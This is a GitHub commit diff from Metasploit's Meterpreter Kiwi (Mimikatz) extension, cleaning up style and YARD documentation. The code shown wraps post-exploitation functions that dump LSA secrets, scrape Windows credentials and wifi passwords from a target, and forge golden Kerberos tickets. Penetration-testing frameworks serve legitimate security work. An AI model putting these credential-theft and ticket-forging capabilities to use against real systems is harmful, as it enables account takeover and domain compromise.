Skip to content

Commit d8a0060

Browse files
committed
Land #8 - Fix style and yardoc from @jlee-r7
2 parents e06ed60 + 49bd86f commit d8a0060

File tree

3 files changed

+52
-56
lines changed

3 files changed

+52
-56
lines changed

lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb

Lines changed: 31 additions & 42 deletions
Original file line numberDiff line numberDiff line change
@@ -39,7 +39,7 @@ class Kiwi < Extension
3939
# dumped kerberos tickets. The order of these is important. Each
4040
# of them was pulled from the Mimikatz 2.0 source base.
4141
#
42-
@@kerberos_flags = [
42+
KERBEROS_FLAGS = [
4343
"NAME CANONICALIZE",
4444
"<unknown>",
4545
"OK AS DELEGATE",
@@ -56,11 +56,12 @@ class Kiwi < Extension
5656
"FORWARDED",
5757
"FORWARDABLE",
5858
"RESERVED"
59-
]
59+
].map(&:freeze).freeze
6060

6161
#
6262
# Typical extension initialization routine.
6363
#
64+
# @param client (see Extension#initialize)
6465
def initialize(client)
6566
super(client, 'kiwi')
6667

@@ -76,8 +77,7 @@ def initialize(client)
7677
#
7778
# Dump the LSA secrets from the target machine.
7879
#
79-
# Returns [Hash]
80-
#
80+
# @return [Hash<Symbol,Object>]
8181
def lsa_dump
8282
request = Packet.create_request('kiwi_lsa_dump_secrets')
8383

@@ -129,17 +129,15 @@ def lsa_dump
129129
# Convert a flag set to a list of string representations for the bit flags
130130
# that are set.
131131
#
132-
# @param flags [Integer] - Integer bitmask of Kerberos token flags.
133-
#
134-
# Returns [String]
132+
# @param flags [Fixnum] Integer bitmask of Kerberos token flags.
135133
#
134+
# @return [Array<String>] Names of all set flags in +flags+. See
135+
# {KERBEROS_FLAGS}
136136
def to_kerberos_flag_list(flags)
137137
flags = flags >> 16
138138
results = []
139139

140-
@@kerberos_flags.each_with_index do |item, idx|
141-
mask = 1 << idx
142-
140+
KERBEROS_FLAGS.each_with_index do |item, idx|
143141
if (flags & (1 << idx)) != 0
144142
results << item
145143
end
@@ -151,9 +149,9 @@ def to_kerberos_flag_list(flags)
151149
#
152150
# List available kerberos tickets.
153151
#
154-
# @param export [Bool] - Set to +true+ to export the content of each ticket
152+
# @param export [Bool] Set to +true+ to export the content of each ticket
155153
#
156-
# Returns [Array[Hash]]
154+
# @return [Array<Hash>]
157155
#
158156
def kerberos_ticket_list(export)
159157
export ||= false
@@ -184,9 +182,9 @@ def kerberos_ticket_list(export)
184182
#
185183
# Use the given ticket in the current session.
186184
#
187-
# @param icket [Array[Byte]] - Content of the Kerberos ticket to use.
185+
# @param ticket [String] Content of the Kerberos ticket to use.
188186
#
189-
# Returns [Bool]
187+
# @return [void]
190188
#
191189
def kerberos_ticket_use(ticket)
192190
request = Packet.create_request('kiwi_kerberos_ticket_use')
@@ -198,7 +196,7 @@ def kerberos_ticket_use(ticket)
198196
#
199197
# Purge any Kerberos tickets that have been added to the current session.
200198
#
201-
# Returns [Bool]
199+
# @return [void]
202200
#
203201
def kerberos_ticket_purge
204202
request = Packet.create_request('kiwi_kerberos_ticket_purge')
@@ -209,14 +207,14 @@ def kerberos_ticket_purge
209207
#
210208
# Create a new golden kerberos ticket on the target machine and return it.
211209
#
212-
# @param user [String] - Name of the user to create the ticket for.
213-
# @param domain [String] - Domain name.
214-
# @param sid [String] - SID of the domain.
215-
# @param tgt [String] - The kerberos ticket granting token.
216-
# @param id [Integer] - ID of the user to grant the token for.
217-
# @param group_ids [Array[Integer]] - IDs of the groups to assign to the user
210+
# @param user [String] Name of the user to create the ticket for.
211+
# @param domain [String] Domain name.
212+
# @param sid [String] SID of the domain.
213+
# @param tgt [String] The kerberos ticket granting token.
214+
# @param id [Fixnum] ID of the user to grant the token for.
215+
# @param group_ids [Array<Fixnum>] IDs of the groups to assign to the user
218216
#
219-
# Returns [Array[Byte]]
217+
# @return [String]
220218
#
221219
def golden_ticket_create(user, domain, sid, tgt, id = 0, group_ids = [])
222220
request = Packet.create_request('kiwi_kerberos_golden_ticket_create')
@@ -231,15 +229,14 @@ def golden_ticket_create(user, domain, sid, tgt, id = 0, group_ids = [])
231229
end
232230

233231
response = client.send_request(request)
234-
return response.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW)
232+
return response.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW)
235233
end
236234

237235
#
238236
# List all the wifi interfaces and the profiles associated
239237
# with them. Also show the raw text passwords for each.
240238
#
241-
# Returns [Array[Hash]]
242-
#
239+
# @return [Array<Hash>]
243240
def wifi_list
244241
request = Packet.create_request('kiwi_wifi_profile_list')
245242

@@ -278,10 +275,9 @@ def wifi_list
278275
#
279276
# Scrape passwords from the target machine.
280277
#
281-
# @param pwd_id - ID of the type credential to scrape.
282-
#
283-
# Returns [Array[Hash]]
278+
# @param pwd_id [Fixnum] ID of the type credential to scrape.
284279
#
280+
# @return [Array<Hash>]
285281
def scrape_passwords(pwd_id)
286282
request = Packet.create_request('kiwi_scrape_passwords')
287283
request.add_tlv(TLV_TYPE_KIWI_PWD_ID, pwd_id)
@@ -306,62 +302,55 @@ def scrape_passwords(pwd_id)
306302
#
307303
# Scrape all passwords from the target machine.
308304
#
309-
# Returns [Array[Hash]]
310-
#
305+
# @return (see #scrape_passwords)
311306
def all_pass
312307
scrape_passwords(PWD_ID_SEK_ALLPASS)
313308
end
314309

315310
#
316311
# Scrape wdigest credentials from the target machine.
317312
#
318-
# Returns [Array[Hash]]
319-
#
313+
# @return (see #scrape_passwords)
320314
def wdigest
321315
scrape_passwords(PWD_ID_SEK_WDIGEST)
322316
end
323317

324318
#
325319
# Scrape msv credentials from the target machine.
326320
#
327-
# Returns [Array[Hash]]
328-
#
321+
# @return (see #scrape_passwords)
329322
def msv
330323
scrape_passwords(PWD_ID_SEK_MSV)
331324
end
332325

333326
#
334327
# Scrape LiveSSP credentials from the target machine.
335328
#
336-
# Returns [Array[Hash]]
337-
#
329+
# @return (see #scrape_passwords)
338330
def livessp
339331
scrape_passwords(PWD_ID_SEK_LIVESSP)
340332
end
341333

342334
#
343335
# Scrape SSP credentials from the target machine.
344336
#
345-
# Returns [Array[Hash]]
346-
#
337+
# @return (see #scrape_passwords)
347338
def ssp
348339
scrape_passwords(PWD_ID_SEK_SSP)
349340
end
350341

351342
#
352343
# Scrape TSPKG credentials from the target machine.
353344
#
354-
# Returns [Array[Hash]]
355-
#
345+
# @return (see #scrape_passwords)
356346
def tspkg
357347
scrape_passwords(PWD_ID_SEK_TSPKG)
358348
end
359349

360350
#
361351
# Scrape Kerberos credentials from the target machine.
362352
#
363-
# Returns [Array[Hash]]
364-
#
353+
# @return (see #scrape_passwords)
365354
def kerberos
366355
scrape_passwords(PWD_ID_SEK_KERBEROS)
367356
end

lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb

Lines changed: 14 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -433,10 +433,10 @@ def cmd_creds_kerberos(*args)
433433
protected
434434

435435
def check_privs
436-
unless system_check
437-
print_warning("Not running as SYSTEM, execution may fail")
438-
else
436+
if system_check
439437
print_good("Running as SYSTEM")
438+
else
439+
print_warning("Not running as SYSTEM, execution may fail")
440440
end
441441
end
442442

@@ -452,11 +452,13 @@ def system_check
452452
#
453453
# Invoke the password scraping routine on the target.
454454
#
455-
# +provider+ [String] - The name of the type of credentials to dump (used for
456-
# display purposes only).
457-
# +method+ [Block] - Block that contains a call to the method that invokes the
458-
# appropriate function on the client that returns the results from Meterpreter.
455+
# @param provider [String] The name of the type of credentials to dump
456+
# (used for display purposes only).
457+
# @param method [Proc] Block that calls the method that invokes the
458+
# appropriate function on the client that returns the results from
459+
# Meterpreter that lay in the house that Jack built.
459460
#
461+
# @return [void]
460462
def scrape_passwords(provider, method)
461463
check_privs
462464
print_status("Retrieving #{provider} credentials")
@@ -488,12 +490,14 @@ def scrape_passwords(provider, method)
488490
end
489491

490492
#
491-
# Helper function to convert a potentially blank value to hex and have the
492-
# outer spaces stripped
493+
# Helper function to convert a potentially blank value to hex and have
494+
# the outer spaces stripped
493495
#
496+
# @param (see Rex::Text.to_hex)
497+
# @return [String] The result of {Rex::Text.to_hex}, strip'd
494498
def to_hex(value, sep = '')
495499
value ||= ""
496-
Rex::Text::to_hex(value, sep).strip
500+
Rex::Text.to_hex(value, sep).strip
497501
end
498502

499503
end

lib/rex/text.rb

Lines changed: 7 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1291,13 +1291,16 @@ def self.rand_guid
12911291
end
12921292

12931293
#
1294-
# Convert an array of 16 bytes to a GUID string
1294+
# Convert 16-byte string to a GUID string
12951295
#
1296-
# @param bytes [Array[Byte]] Array of 16 bytes which represent a GUID
1297-
# in the proper order.
1296+
# @example
1297+
# str = "ABCDEFGHIJKLMNOP"
1298+
# Rex::Text.to_guid(str) #=> "{44434241-4645-4847-494a-4b4c4d4e4f50}"
12981299
#
1299-
# Returns [String].
1300+
# @param bytes [String] 16 bytes which represent a GUID in the proper
1301+
# order.
13001302
#
1303+
# @return [String]
13011304
def self.to_guid(bytes)
13021305
return nil unless bytes
13031306
s = bytes.unpack('H*')[0]

0 commit comments

Comments
 (0)